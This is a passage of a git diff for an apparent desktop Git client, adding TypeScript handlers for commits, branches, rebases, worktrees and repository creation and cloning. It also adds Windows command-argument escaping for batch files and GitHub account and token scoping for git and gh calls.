withCancellableProgress('generic', 'Scanning for large files', repoPath, (_onProgress, signal) => findLargestBlobs(git, tools, repoPath, limit, signal)), + 'repo.health.staleBranches': async (repoPath, inactiveDays) => getStaleBranches(git, repoPath, inactiveDays), + 'repo.health.housekeeping': async (repoPath) => getHousekeeping(git, repoPath), + 'repos.work': async () => repos.work(), + } satisfies Partial; +} diff --git a/src/main/core/handlers/gitWrite.ts b/src/main/core/handlers/gitWrite.ts new file mode 100644 index 0000000..c53221c --- /dev/null +++ b/src/main/core/handlers/gitWrite.ts @@ -0,0 +1,198 @@ +import { readFile } from 'node:fs/promises'; +import type { CommitOptions } from '@shared/types'; +import { bisectMark, bisectReset, bisectStart } from '../../git/bisect'; +import { checkoutBranch, checkoutRemoteBranch, createBranch, deleteLocalBranch, deleteRemoteBranch, getBranches, getCurrentBranchName, getDefaultBranch, renameBranch } from '../../git/branches'; +import { applyPatchToWorktree, createCommit, stageFiles, undoLastCommit, unstageFiles } from '../../git/commit'; +import { toFsPath } from '../../git/diff'; +import { deleteManyBranches, expireReflog, pruneRemote, runGc } from '../../git/health'; +import { lfsFetch, lfsInstallLocal, lfsPrune, setLfsTracking } from '../../git/lfs'; +import * as ops from '../../git/operations'; +import { resetKeep } from '../../git/reflog'; +import { syncSubmodules, updateSubmodules } from '../../git/submodules'; +import { addWorktree, lockWorktree, pruneWorktrees, removeWorktree } from '../../git/worktree'; +import { log } from '../../logger'; +import type { ApiMethods } from '@shared/ipc'; +import type { HandlerContext } from './context'; + +export function gitWriteHandlers(ctx: HandlerContext) { + const { discardPaths, freshStatus, git, gitCanUpdateRefs, progress, pullRebaseFlag, rebasePlan, repos, resolver, send, stashBeforeCheckout, withBusy, withCancellableProgress } = ctx; + return { + // ---------------- git writes ---------------- + 'git.commit': async (repoPath, opts: CommitOptions) => { + const status = await freshStatus(repoPath); + const inProgress = status.operation.kind === 'merge' || status.operation.kind === 'cherry-pick' || status.operation.kind === 'revert'; + return withBusy(repoPath, () => createCommit(git, repoPath, opts, inProgress)); + }, + 'git.undoCommit': async (repoPath) => undoLastCommit(git, repoPath), + 'git.discard': async (repoPath, paths, moveToTrash) => discardPaths(repoPath, paths, moveToTrash), + 'git.discardAll': async (repoPath, moveToTrash) => { + const status = await freshStatus(repoPath); + await discardPaths(repoPath, status.files.map((f) => f.path), moveToTrash); + }, + 'git.discardPatch': async (repoPath, patch) => applyPatchToWorktree(git, repoPath, patch), + 'git.fetch': async (repoPath, remote) => { + const p = progress('fetch', 'Fetching', repoPath); + try { + await withBusy(repoPath, () => ops.fetch(git, repoPath, remote ?? 'origin', (pct, d) => p.update(pct, d))); + } finally { + p.done(); + } + }, + 'git.pull': async (repoPath) => { + const p = progress('pull', 'Pulling', repoPath); + try { + return await withBusy(repoPath, async () => ops.pull(git, repoPath, await pullRebaseFlag(repoPath), (pct, d) => p.update(pct, d))); + } finally { + p.done(); + } + }, + 'git.push': async (repoPath, opts) => { + const p = progress('push', 'Pushing', repoPath); + try { + const branch = opts.branch ?? (await getCurrentBranchName(git, repoPath)); + const remote = opts.remote ?? 'origin'; + await withBusy(repoPath, () => ops.push(git, repoPath, { ...opts, remote: opts.setUpstream || opts.branch ? remote : opts.remote, branch: opts.setUpstream ? branch : opts.branch }, (pct, d) => p.update(pct, d))); + } finally { + p.done(); + } + }, + 'git.pushStack': async (repoPath) => { + const p = progress('push', 'Pushing stack', repoPath); + try { + return await withBusy(repoPath, () => ops.pushStack(git, repoPath, (pct, d) => p.update(pct, d))); + } finally { + p.done(); + } + }, + 'git.checkout': async (repoPath, ref, strategy) => { + await stashBeforeCheckout(repoPath, strategy); + await checkoutBranch(git, repoPath, ref); + }, + 'git.checkoutRemoteBranch': async (repoPath, remoteBranch, strategy) => { + await stashBeforeCheckout(repoPath, strategy); + return checkoutRemoteBranch(git, repoPath, remoteBranch); + }, + 'git.checkoutCommit': async (repoPath, sha) => { + await git.run(repoPath, ['checkout', '--detach', sha]); + }, + 'git.branch.create': async (repoPath, name, startPoint, checkout, strategy) => { + if (checkout) await stashBeforeCheckout(repoPath, strategy); + await createBranch(git, repoPath, name, startPoint, checkout); + }, + 'git.branch.rename': async (repoPath, oldName, newName) => renameBranch(git, repoPath, oldName, newName), + 'git.branch.delete': async (repoPath, name, deleteRemote) => { + const branches = await getBranches(git, repoPath); + const branch = branches.find((b) => b.kind === 'local' && b.name === name); + await deleteLocalBranch(git, repoPath, name); + if (deleteRemote && branch?.upstream) { + const slash = branch.upstream.indexOf('/'); + if (slash > 0) await deleteRemoteBranch(git, repoPath, branch.upstream.slice(0, slash), branch.upstream.slice(slash + 1)); + } + }, + 'git.branch.deleteRemote': async (repoPath, remote, name) => deleteRemoteBranch(git, repoPath, remote, name), + 'git.merge': async (repoPath, branch, squash) => withBusy(repoPath, () => ops.merge(git, repoPath, branch, squash)), + 'git.merge.abort': async (repoPath) => ops.mergeAbort(git, repoPath), + 'git.merge.continue': async (repoPath) => ops.mergeContinue(git, repoPath), + 'git.rebase': async (repoPath, onto, updateRefs) => withBusy(repoPath, () => ops.rebase(git, repoPath, onto, !!updateRefs && gitCanUpdateRefs())), + // An AI rebase-plan apply that paused on a conflict leaves a resumable session on `rebasePlan` + // (see RebaseApplyService); when one is pending for this repository, Continue/Abort resume or + // fully unwind the *whole* plan instead of just the single paused `git rebase -i` step. + 'git.rebase.continue': async (repoPath, unsigned) => + withBusy(repoPath, () => (rebasePlan.hasPendingApply(repoPath) ? rebasePlan.continueApply(repoPath, unsigned ?? false) : ops.rebaseContinue(git, repoPath, unsigned))), + 'git.rebase.skip': async (repoPath) => withBusy(repoPath, () => ops.rebaseSkip(git, repoPath)), + 'git.rebase.abort': async (repoPath) => { + if (rebasePlan.hasPendingApply(repoPath)) { + await rebasePlan.abortApply(repoPath); + return; + } + return ops.rebaseAbort(git, repoPath); + }, + 'git.cherryPick': async (repoPath, shas) => withBusy(repoPath, () => ops.cherryPick(git, repoPath, shas)), + 'git.cherryPick.continue': async (repoPath) => ops.cherryPickContinue(git, repoPath), + 'git.cherryPick.abort': async (repoPath) => ops.cherryPickAbort(git, repoPath), + 'git.revert': async (repoPath, sha) => withBusy(repoPath, () => ops.revert(git, repoPath, sha)), + 'git.revert.continue': async (repoPath) => ops.revertContinue(git, repoPath), + 'git.revert.abort': async (repoPath) => ops.revertAbort(git, repoPath), + 'git.squash': async (repoPath, opts) => withBusy(repoPath, () => ops.squashCommits(git, repoPath, opts)), + 'git.reorder': async (repoPath, shas, beforeSha) => withBusy(repoPath, () => ops.reorderCommits(git, repoPath, shas, beforeSha)), + 'git.reword': async (repoPath, sha, message) => withBusy(repoPath, () => ops.rewordCommit(git, repoPath, sha, message)), + 'git.dropCommit': async (repoPath, sha) => withBusy(repoPath, () => ops.dropCommit(git, repoPath, sha)), + 'git.stash.push': async (repoPath, message, includeUntracked, paths) => { + const branch = await getCurrentBranchName(git, repoPath); + await ops.stashPush(git, repoPath, message, includeUntracked, paths, branch); + }, + 'git.stash.pop': async (repoPath, ref) => ops.stashPop(git, repoPath, ref), + 'git.stash.apply': async (repoPath, ref) => ops.stashApply(git, repoPath, ref), + 'git.stash.drop': async (repoPath, ref) => ops.stashDrop(git, repoPath, ref), + 'git.stash.branch': async (repoPath, sha, branchName) => withBusy(repoPath, () => ops.stashBranch(git, repoPath, sha, branchName)), + 'git.tag.create': async (repoPath, name, sha, message) => ops.createTag(git, repoPath, name, sha, message), + 'git.tag.delete': async (repoPath, name, remote) => ops.deleteTag(git, repoPath, name, remote), + 'git.tag.push': async (repoPath, name) => ops.pushTag(git, repoPath, name), + 'git.conflict.markResolved': async (repoPath, paths, originals) => { + // Capture manual resolutions (an edit, or a per-block side selection) as worked examples + // for "Resolve remaining like …" before staging: read the current (resolved) content and + // pair it with the pre-resolution snapshot the renderer already held. AI resolutions are + // never captured here — they go through resolveFile, not this handler. + if (originals) { + for (const p of paths) { + const original = originals[p]; + if (original === null || original === undefined) continue; + try { + const resolved = await readFile(toFsPath(repoPath, p), 'utf8'); + resolver.recordExample(repoPath, p, original, resolved); + } catch (err) { + log.warn(`Could not capture manual resolution example for ${p}: ${(err as Error).message}`); + } + } + } + await ops.markResolved(git, repoPath, paths); + }, + 'git.conflict.useSide': async (repoPath, path, side) => ops.useSide(git, repoPath, path, side), + 'git.conflict.unresolve': async (repoPath, path, original) => ops.unresolve(git, repoPath, path, original), + 'git.updateFromDefaultBranch': async (repoPath) => { + const def = await getDefaultBranch(git, repoPath); + if (!def) throw new Error('Could not determine the default branch.'); + const remoteRef = (await git.tryRun(repoPath, ['rev-parse', '--verify', '--quiet', `refs/remotes/origin/${def}`])) ? `origin/${def}` : def; + return withBusy(repoPath, () => ops.merge(git, repoPath, remoteRef, false)); + }, + 'git.stage': async (repoPath, paths) => stageFiles(git, repoPath, paths), + 'git.unstage': async (repoPath, paths) => unstageFiles(git, repoPath, paths), + 'git.isAncestor': async (repoPath, ancestor, descendant) => ops.isAncestor(git, repoPath, ancestor, descendant), + 'git.worktree.add': async (repoPath, opts) => + withBusy(repoPath, async () => { + await addWorktree(git, repoPath, opts); + repos.invalidateWorktrees(); + return repos.add(opts.path); + }), + 'git.worktree.remove': async (repoPath, worktreePath, force) => + withBusy(repoPath, async () => { + await removeWorktree(git, repoPath, worktreePath, force); + repos.invalidateWorktrees(); + const existing = repos.getByPath(worktreePath); + if (existing) await repos.remove(existing.id); + else send('repos.changed', await repos.list()); + }), + 'git.worktree.lock': async (repoPath, worktreePath, locked, reason) => lockWorktree(git, repoPath, worktreePath, locked, reason), + 'git.worktree.prune': async (repoPath) => { + await pruneWorktrees(git, repoPath); + repos.invalidateWorktrees(); + send('repos.changed', await repos.list()); + }, + 'git.submodule.update': async (repoPath, paths, init) => + withCancellableProgress('generic', init ? 'Initializing submodules' : 'Updating submodules', repoPath, (onProgress, signal) => updateSubmodules(git, repoPath, paths, init, onProgress, signal)), + 'git.submodule.sync': async (repoPath) => syncSubmodules(git, repoPath), + 'git.lfs.install': async (repoPath) => lfsInstallLocal(git, repoPath), + 'git.lfs.track': async (repoPath, pattern, track) => setLfsTracking(git, repoPath, pattern, track), + 'git.lfs.fetch': async (repoPath, mode, paths) => + withCancellableProgress('generic', mode === 'fetch-all' ? 'Fetching LFS objects' : 'Pulling LFS objects', repoPath, (onProgress, signal) => lfsFetch(git, repoPath, mode, paths, onProgress, signal)), + 'git.lfs.prune': async (repoPath, dryRun) => lfsPrune(git, repoPath, dryRun), + 'git.branch.deleteMany': async (repoPath, names, deleteRemote) => deleteManyBranches(git, repoPath, names, deleteRemote), + 'git.remote.prune': async (repoPath, remote) => pruneRemote(git, repoPath, remote), + 'git.gc': async (repoPath, aggressive) => withBusy(repoPath, () => runGc(git, repoPath, aggressive)), + 'git.reflog.expire': async (repoPath) => expireReflog(git, repoPath), + 'git.resetKeep': async (repoPath, sha, stashFirst) => resetKeep(git, repoPath, sha, stashFirst), + 'git.bisect.start': async (repoPath, bad, good) => bisectStart(git, repoPath, bad, good), + 'git.bisect.mark': async (repoPath, verb, sha) => bisectMark(git, repoPath, verb, sha), + 'git.bisect.reset': async (repoPath) => bisectReset(git, repoPath), + } satisfies Partial; +} diff --git a/src/main/core/handlers/index.ts b/src/main/core/handlers/index.ts new file mode 100644 index 0000000..cea46eb --- /dev/null +++ b/src/main/core/handlers/index.ts @@ -0,0 +1,128 @@ +import type { ApiMethodName, ApiMethods, EventPayloads } from '@shared/ipc'; +import type { GitErrorInfo, IpcResult } from '@shared/types'; +import { AiError } from '../../ai/backends'; +import { guardAiHandlers } from '../../ai/repo-guard'; +import type { ErrorExplainService } from '../../ai/error-explain'; +import type { ExplainService } from '../../ai/explain'; +import type { NlPaletteService } from '../../ai/nlPalette'; +import type { PrDraftService } from '../../ai/prDraft'; +import type { RebasePlanService } from '../../ai/rebasePlan'; +import type { ReleaseNotesService } from '../../ai/release-notes'; +import type { ConflictResolver } from '../../ai/resolver'; +import type { ReviewService } from '../../ai/review'; +import type { SplitterService } from '../../ai/splitter'; +import type { TriageService } from '../../ai/triage'; +import type { InboxPoller } from '../../gh/inbox-poller'; +import type { SettingsSyncService } from '../../gh/settings-sync'; +import { toGitErrorInfo, type GitClient } from '../../git/git'; +import { scopeRepoHandlers } from '../client-context'; +import type { GhClient } from '../../gh/gh'; +import { log } from '../../logger'; +import { readRepoConfig } from '../../repo/config'; +import type { RepositoryManager } from '../../repo/manager'; +import type { WatchedFolderScanner } from '../../repo/watched-folders'; +import type { Store } from '../../store'; +import type { ToolLocator } from '../../tools'; +import type { Updater } from '../../update/updater'; +import { UnsupportedCapabilityError, type HostCapabilities } from '../host'; +import { createHandlerContext } from './context'; +import { appHandlers } from './app'; +import { ghHandlers } from './gh'; +import { repoHandlers } from './repo'; +import { gitReadHandlers } from './gitRead'; +import { gitWriteHandlers } from './gitWrite'; +import { aiHandlers } from './ai'; + +/** Everything the handlers need, transport-agnostic: services, the native host, the event bus emitter, and the shared busy set. */ +export interface HandlerDeps { + store: Store; + tools: ToolLocator; + git: GitClient; + gh: GhClient; + repos: RepositoryManager; + resolver: ConflictResolver; + review: ReviewService; + splitter: SplitterService; + triage: TriageService; + prDraft: PrDraftService; + rebasePlan: RebasePlanService; + releaseNotes: ReleaseNotesService; + nlPalette: NlPaletteService; + explain: ExplainService; + errorExplain: ErrorExplainService; + inbox: InboxPoller; + settingsSync: SettingsSyncService; + updater: Updater; + watchedFolders: WatchedFolderScanner; + host: HostCapabilities; + emit: (event: K, payload: EventPayloads[K]) => void; + busy: Set; +} + +function toErrorInfo(err: unknown): GitErrorInfo { + if (err instanceof UnsupportedCapabilityError) { + return { message: err.message, command: '', exitCode: null, stderr: '', stdout: '', code: 'unsupported' }; + } + if (err instanceof AiError) { + const code = err.kind === 'not-configured' ? 'ai-not-configured' : err.kind === 'cancelled' ? 'cancelled' : err.kind === 'stale' ? 'split-stale' : 'unknown'; + return { message: err.message, command: '', exitCode: null, stderr: '', stdout: '', code }; + } + return toGitErrorInfo(err); +} + +/** The transport-agnostic dispatch function: runs a handler and wraps the outcome in the `IpcResult` shape. */ +export type CoreDispatch = (method: ApiMethodName, args: unknown[]) => Promise>; + +/** The handler registry plus its `dispatch` wrapper, mounted by both the Electron app and the server. */ +export interface CoreHandlers { + handlers: ApiMethods; + dispatch: CoreDispatch; +} + +/** + * Builds the transport-agnostic handler registry and a `dispatch` that wraps a + * call in the `IpcResult` shape. The Electron app binds this to `ipcMain`; the + * server binds it to `POST /invoke`. + */ +export function createHandlers(deps: HandlerDeps): CoreHandlers { + const { nlPalette, repos } = deps; + const ctx = createHandlerContext(deps); + + const handlers: ApiMethods = { + ...appHandlers(ctx), + ...ghHandlers(ctx), + ...repoHandlers(ctx), + ...gitReadHandlers(ctx), + ...gitWriteHandlers(ctx), + ...aiHandlers(ctx), + }; + + // One chokepoint for the per-repository AI opt-out: the local toggle (Repositories menu) or `"ai": false` in .gitgood/config.json. + guardAiHandlers(handlers as unknown as Record Promise>, async (repoPath) => { + if ((await repos.policyRepo(repoPath))?.aiDisabled) return 'AI is turned off for this repository on this machine. Turn it back on from the repository list menu.'; + if (!(await readRepoConfig(repoPath)).ai) return 'AI is turned off for this repository by "ai": false in .gitgood/config.json.'; + return null; + }); + + // A repository's chosen GitHub account applies to every gh/git call its handlers make (see ToolLocator.repoAccount). + scopeRepoHandlers(handlers as unknown as Record Promise>); + + // The palette's execution step calls back into these same handlers (never a shell, never a + // bespoke code path) so it gets identical behaviour to a manual action for the same ApiMethods key. + nlPalette.setDispatcher(async (action, repoPath, args) => (handlers[action] as (...a: unknown[]) => Promise)(repoPath, ...args)); + + const dispatch = async (method: ApiMethodName, args: unknown[]): Promise> => { + const handler = handlers[method] as ((...a: unknown[]) => Promise) | undefined; + if (!handler) return { ok: false, error: { message: `Unknown method ${String(method)}`, command: '', exitCode: null, stderr: '', stdout: '', code: 'unknown' } }; + try { + const value = await handler(...args); + return { ok: true, value }; + } catch (err) { + const info = toErrorInfo(err); + if (info.code !== 'cancelled') log.warn(`${method} failed: ${info.message.split('\n')[0]}`); + return { ok: false, error: info }; + } + }; + + return { handlers, dispatch }; +} diff --git a/src/main/core/handlers/repo.ts b/src/main/core/handlers/repo.ts new file mode 100644 index 0000000..1c2e941 --- /dev/null +++ b/src/main/core/handlers/repo.ts @@ -0,0 +1,108 @@ +import { existsSync } from 'node:fs'; +import { mkdir, readdir, writeFile } from 'node:fs/promises'; +import { basename, join, resolve } from 'node:path'; +import { stageFiles } from '../../git/commit'; +import * as ops from '../../git/operations'; +import { log } from '../../logger'; +import { canonicalPath } from '../../repo/paths'; +import { addWatchedFolder, folderProblem } from '../../repo/watched-folders'; +import type { ApiMethods } from '@shared/ipc'; +import type { HandlerContext } from './context'; + +export function repoHandlers(ctx: HandlerContext) { + const { gh, git, host, progress, repos, store, watchedFolders, withBusy } = ctx; + return { + // ---------------- repositories ---------------- + 'repos.list': async () => repos.list(), + 'repos.add': async (path) => repos.add(path), + 'repos.remove': async (id, moveToTrash) => { + // Trash first: if that fails, the repository stays registered instead of vanishing from the list with its folder left behind. + const path = repos.get(id)?.path; + if (path && moveToTrash && existsSync(path)) await host.trashItem(path); + await repos.remove(id); + }, + 'repos.create': async (opts) => { + const dir = resolve(opts.directory, opts.name); + if (existsSync(dir) && (await readdir(dir)).length && (await ops.getTopLevel(git, dir))) throw new Error(`"${dir}" is already a Git repository.`); + await mkdir(dir, { recursive: true }); + const configured = (await git.tryRun(null, ['config', '--global', '--get', 'init.defaultBranch']))?.stdout.trim(); + await ops.init(git, dir, configured || 'main'); + const created: string[] = []; + if (opts.initializeWithReadme) { + const readme = `# ${opts.name}\n${opts.description ? `\n${opts.description}\n` : ''}`; + await writeFile(join(dir, 'README.md'), readme, 'utf8'); + created.push('README.md'); + } + if (opts.gitignoreTemplate) { + try { + const source = await gh.gitignoreTemplate(opts.gitignoreTemplate); + await writeFile(join(dir, '.gitignore'), source, 'utf8'); + created.push('.gitignore'); + } catch (err) { + log.warn(`Could not fetch .gitignore template: ${(err as Error).message}`); + } + } + if (opts.license) { + try { + let body = await gh.licenseText(opts.license); + const identity = await ops.getConfigIdentity(git, null); + body = body.replace(/\[year\]/g, String(new Date().getFullYear())).replace(/\[fullname\]/g, identity.global.name ?? '').replace(/\[yyyy\]/g, String(new Date().getFullYear())).replace(/\[name of copyright owner\]/g, identity.global.name ?? ''); + await writeFile(join(dir, 'LICENSE'), body, 'utf8'); + created.push('LICENSE'); + } catch (err) { + log.warn(`Could not fetch license: ${(err as Error).message}`); + } + } + if (created.length) { + await stageFiles(git, dir, created); + await git.run(dir, ['commit', '-q', '-m', 'Initial commit']); + } + return repos.add(dir); + }, + 'repos.clone': async (opts) => { + let url = opts.url.trim(); + if (/^[\w.-]+\/[\w.-]+$/.test(url)) url = `https://github.com/${url}.git`; + const target = resolve(opts.directory); + const name = basename(target); + if (existsSync(target) && (await readdir(target)).length) throw new Error(`The destination "${target}" already exists and is not empty.`); + await mkdir(resolve(target, '..'), { recursive: true }); + const p = progress('clone', `Cloning ${name}`, null); + try { + await withBusy(`clone:${target}`, () => ops.clone(git, url, target, opts, (pct, desc) => p.update(pct, desc))); + } finally { + p.done(); + } + return repos.add(target); + }, + 'repos.setAlias': async (id, alias) => repos.setAlias(id, alias), + 'repos.setAiDisabled': async (id, disabled) => repos.setAiDisabled(id, disabled), + 'repos.setPrefs': async (id, prefs) => repos.setPrefs(id, prefs), + 'repos.refreshIndicators': async () => repos.refreshIndicators(), + + // ---------------- watched folders ---------------- + 'repos.scanWatchedFolders': async () => watchedFolders.scan(), + 'repos.cancelScan': async () => watchedFolders.cancel(), + 'repos.watchedFolders.add': async (path, depth) => { + // Stored physically: git reports repositories by their resolved path, so + // a folder kept as a symlink/junction path would never match what a scan + // finds inside it (and nothing in it could be excluded on removal). The + // path the user picked rides along for display, so Options names the + // folder they chose rather than wherever it happens to point. + const result = addWatchedFolder(store.getSettings().watchedFolders, await canonicalPath(path), depth, path); + if (!result.ok) return { ok: false, error: result.error, settings: store.getSettings() }; + // The settings listener starts the scan; see WatchedFolderScanner.watchSettings. + return { ok: true, settings: store.updateSettings({ watchedFolders: result.folders }) }; + }, + 'repos.watchedFolders.status': async () => Promise.all(store.getSettings().watchedFolders.map(async (f) => ({ path: f.path, problem: await folderProblem(f.path) }))), + 'repos.isInWatchedFolder': async (repoPath) => repos.isInWatchedFolder(repoPath), + 'repos.exclusions.list': async () => store.getExcludedRepositoryPaths(), + 'repos.exclusions.remove': async (path) => { + store.removeExcludedRepositoryPath(path); + return store.getExcludedRepositoryPaths(); + }, + 'repos.exclusions.clear': async () => { + store.clearExcludedRepositoryPaths(); + return store.getExcludedRepositoryPaths(); + }, + } satisfies Partial; +} diff --git a/src/main/core/host.ts b/src/main/core/host.ts index 33e21e6..308839f 100644 --- a/src/main/core/host.ts +++ b/src/main/core/host.ts @@ -28,6 +28,10 @@ export interface HostCapabilities { setTheme(theme: AppSettings['theme']): void; /** Applies a zoom step and returns the resulting zoom level. */ zoom(direction: 'in' | 'out' | 'reset'): number; + /** Opens another application window, showing repository `repoId` (none when null). Desktop only. */ + openWindow(repoId: string | null): Promise; + /** Rebuilds the native application menu with these shortcut overrides. Desktop only; a no-op elsewhere. */ + setMenuShortcuts(overrides: AppSettings['shortcuts']): void; } /** Thrown by `WebHost` for capabilities with no safe web equivalent; surfaces as a typed `unsupported` IPC error. */ diff --git a/src/main/exec.ts b/src/main/exec.ts index d894c35..bac616e 100644 --- a/src/main/exec.ts +++ b/src/main/exec.ts @@ -54,16 +54,20 @@ export function formatCommand(file: string, args: string[]): string { * first, then the child's C runtime applies the backslash/quote rules to what * cmd passed on. So the argument is escaped for the C runtime, and then every * character cmd would act on -- including the quotes just added -- is prefixed - * with `^`. + * with `^`. A `.cmd`/`.bat` target re-parses its arguments when it expands + * `%*`, so `forBatch` escapes a second time. * * Escaping the quotes is the part that is easy to get wrong. cmd tracks quote * state across the whole line and does not recognise `\"` as an escaped quote, * so a C-runtime-escaped argument flips that state and leaves a later `&` or * `|` looking like a command separator ("& was unexpected at this time"). */ -export function cmdEscapeArgument(arg: string): string { +export function cmdEscapeArgument(arg: string, forBatch = false): string { const forCRuntime = `"${arg.replace(/(\\*)"/g, '$1$1\\"').replace(/(\\*)$/, '$1$1')}"`; - return forCRuntime.replace(/[()%!^"<>&|]/g, '^$&'); + const once = forCRuntime.replace(/[()%!^"<>&|]/g, '^$&'); + // A batch file's `%*` is substituted into its command line and parsed by cmd + // a second time, so the escaping has to survive two passes (as in cross-spawn). + return forBatch ? once.replace(/[()%!^"<>&|]/g, '^$&') : once; } /** @@ -82,7 +86,7 @@ export function buildWindowsCmdInvocation(file: string, args: string[], comSpec: // every argument's quoting. Wrapping the whole thing in one extra pair // makes the two stripped quotes exactly that wrapper (see startOnWindows // and check-runner.ts's buildCheckInvocation, which already do this). - return { file: comSpec || 'cmd.exe', args: ['/d', '/s', '/c', `"${[file, ...args].map(cmdEscapeArgument).join(' ')}"`] }; + return { file: comSpec || 'cmd.exe', args: ['/d', '/s', '/c', `"${[cmdEscapeArgument(file), ...args.map((a) => cmdEscapeArgument(a, true))].join(' ')}"`] }; } /** diff --git a/src/main/gh/accounts.ts b/src/main/gh/accounts.ts new file mode 100644 index 0000000..ac8210e --- /dev/null +++ b/src/main/gh/accounts.ts @@ -0,0 +1,100 @@ +import type { GhAccountEntry } from '@shared/types'; + +interface RawJsonHost { + state?: string; + active?: boolean; + host?: string; + login?: string; + scopes?: string; + gitProtocol?: string; +} + +const splitScopes = (s: string): string[] => s.split(',').map((x) => x.trim().replace(/^'|'$/g, '')).filter((x) => x && x !== 'none'); + +/** gh 2.67+: `gh auth status --json hosts`. Only accounts whose token still works (`state: success`). */ +function parseJson(text: string): GhAccountEntry[] { + const parsed = JSON.parse(text) as { hosts?: Record }; + const out: GhAccountEntry[] = []; + for (const list of Object.values(parsed.hosts ?? {})) { + for (const e of list) { + if (e.state === 'success' && e.host && e.login) out.push({ host: e.host, login: e.login, active: !!e.active, scopes: splitScopes(e.scopes ?? ''), protocol: e.gitProtocol || null }); + } + } + return out; +} + +/** Human output of gh 2.40+ (multi-account) and older single-account gh (`Logged in to host as login`). Failed logins are skipped. */ +function parseText(text: string): GhAccountEntry[] { + const out: GhAccountEntry[] = []; + let current: GhAccountEntry | null = null; + for (const raw of text.split(/\r?\n/)) { + const line = raw.trim(); + const login = /Logged in to (\S+) (?:account|as) (\S+)/.exec(line); + if (login) { + current = { host: login[1], login: login[2], active: false, scopes: [], protocol: null }; + out.push(current); + continue; + } + if (/Failed to log in/i.test(line)) { + current = null; + continue; + } + if (!current) continue; + const active = /Active account:\s*(true|false)/i.exec(line); + if (active) current.active = active[1].toLowerCase() === 'true'; + const protocol = /Git operations protocol:\s*(\S+)/i.exec(line); + if (protocol) current.protocol = protocol[1]; + const scopes = /Token scopes:\s*(.*)$/i.exec(line); + if (scopes) current.scopes = splitScopes(scopes[1]); + } + return out; +} + +/** + * Every signed-in account from `gh auth status` output (JSON or the human format; stdout and stderr + * may be concatenated, older gh printed to stderr). Each host ends up with exactly one active entry + * (the first, when gh did not say). Pure so it can be unit tested against canned output. + */ +export function parseGhAuthStatus(output: string): GhAccountEntry[] { + const text = output.trim(); + const entries = text.startsWith('{') ? parseJson(text) : parseText(text); + const hasActive = new Set(entries.filter((e) => e.active).map((e) => e.host)); + return entries.map((e) => (hasActive.has(e.host) || e.active ? e : (hasActive.add(e.host), { ...e, active: true }))); +} + +/** The account the app shows as "you": github.com's active account, else the first host's active one. */ +export function primaryAccount(entries: GhAccountEntry[]): GhAccountEntry | null { + const active = entries.filter((e) => e.active); + return active.find((e) => e.host === 'github.com') ?? active[0] ?? null; +} + +/** Environment that makes a `gh` run act as the account that owns `token` (gh reads github.com/GHE cloud tokens from GH_TOKEN, other hosts from GH_ENTERPRISE_TOKEN). */ +export function ghAccountEnv(host: string, token: string): NodeJS.ProcessEnv { + return { [host === 'github.com' || host.endsWith('.ghe.com') ? 'GH_TOKEN' : 'GH_ENTERPRISE_TOKEN']: token }; +} + +/** + * Environment that makes git's HTTPS operations against `host` authenticate with `token`: gh reads + * it for its own credential helper, and an env-injected `credential..helper` (empty value first, + * which drops every other configured helper) answers git directly, so it also wins over keychains. + * Uses GIT_CONFIG_COUNT (Git 2.31+); older Git ignores it and falls back to the gh helper + GH_TOKEN. + * `base` is the env the command will run with, so existing GIT_CONFIG_* pairs are kept. + */ +export function gitAccountEnv(host: string, token: string, base: NodeJS.ProcessEnv): NodeJS.ProcessEnv { + const n = Number.parseInt(base.GIT_CONFIG_COUNT ?? '', 10) || 0; + const key = `credential.https://${host}.helper`; + return { + ...ghAccountEnv(host, token), + GITGOOD_ACCOUNT_TOKEN: token, + GIT_CONFIG_COUNT: String(n + 2), + [`GIT_CONFIG_KEY_${n}`]: key, + [`GIT_CONFIG_VALUE_${n}`]: '', + [`GIT_CONFIG_KEY_${n + 1}`]: key, + [`GIT_CONFIG_VALUE_${n + 1}`]: '!f() { echo username=x-access-token; echo "password=$GITGOOD_ACCOUNT_TOKEN"; }; f', + }; +} + +/** git subcommands that talk to the remote and so need the repository's account token. */ +export function isNetworkGitCommand(args: string[]): boolean { + return /^(fetch|pull|push|clone|ls-remote|submodule|lfs)$/.test(args[0] ?? ''); +} diff --git a/src/main/gh/gh.ts b/src/main/gh/gh.ts index b1cbd86..9c55536 100644 --- a/src/main/gh/gh.ts +++ b/src/main/gh/gh.ts @@ -2,6 +2,7 @@ import type { CheckRun, CreateIssueOptions, CreatePullRequestOptions, CreateRele import { ExecError, exec, type ExecResult } from '../exec'; import { GitError, toGitErrorInfo } from '../git/git'; import { log } from '../logger'; +import { ghAccountEnv } from './accounts'; import type { ToolLocator } from '../tools'; interface GhRunOptions { @@ -39,6 +40,7 @@ interface RawPr { changedFiles?: number; mergeable?: string; mergeStateStatus?: string; + autoMergeRequest?: { mergeMethod?: string; enabledBy?: { login?: string } | null } | null; labels?: { name: string }[]; assignees?: { login: string }[]; reviewRequests?: { login?: string; name?: string }[]; @@ -51,7 +53,7 @@ interface RawPr { // Bulk list (up to 100 PRs) must stay under GitHub's GraphQL cost limits: no `commits` (nested authors: 100×100×100 nodes, over the // 500k cap) and no mergeability (computed per PR on demand; times out on repos with many open PRs). Single-PR calls add mergeability back. const PR_LIST_FIELDS = 'number,title,url,author,headRefName,baseRefName,headRefOid,headRepository,headRepositoryOwner,isCrossRepository,isDraft,state,createdAt,updatedAt,statusCheckRollup,reviewDecision,body,additions,deletions,changedFiles,labels,assignees,reviewRequests,files,reviews,latestReviews,comments'; -const PR_FIELDS = `${PR_LIST_FIELDS},mergeable,mergeStateStatus`; +const PR_FIELDS = `${PR_LIST_FIELDS},mergeable,mergeStateStatus,autoMergeRequest`; const ISSUE_FIELDS = 'number,title,url,state,author,labels,assignees,milestone,createdAt,updatedAt,comments,body'; @@ -173,6 +175,7 @@ export function toPullRequest(raw: RawPr): PullRequest { changedFiles: raw.changedFiles ?? null, mergeable: raw.mergeable ?? null, mergeStateStatus: raw.mergeStateStatus ?? null, + autoMerge: raw.autoMergeRequest ? { method: ({ MERGE: 'merge', SQUASH: 'squash', REBASE: 'rebase' } as const)[(raw.autoMergeRequest.mergeMethod ?? '').toUpperCase()] ?? null, enabledBy: raw.autoMergeRequest.enabledBy?.login ?? null } : null, labels: (raw.labels ?? []).map((l) => l.name), assignees: (raw.assignees ?? []).map((a) => a.login), reviewRequests: (raw.reviewRequests ?? []).map((r) => r.login ?? r.name ?? '').filter(Boolean), @@ -215,6 +218,16 @@ export function repoSelector(ref: GitHubRepoRef): string { return ref.host === 'github.com' ? `${ref.owner}/${ref.name}` : 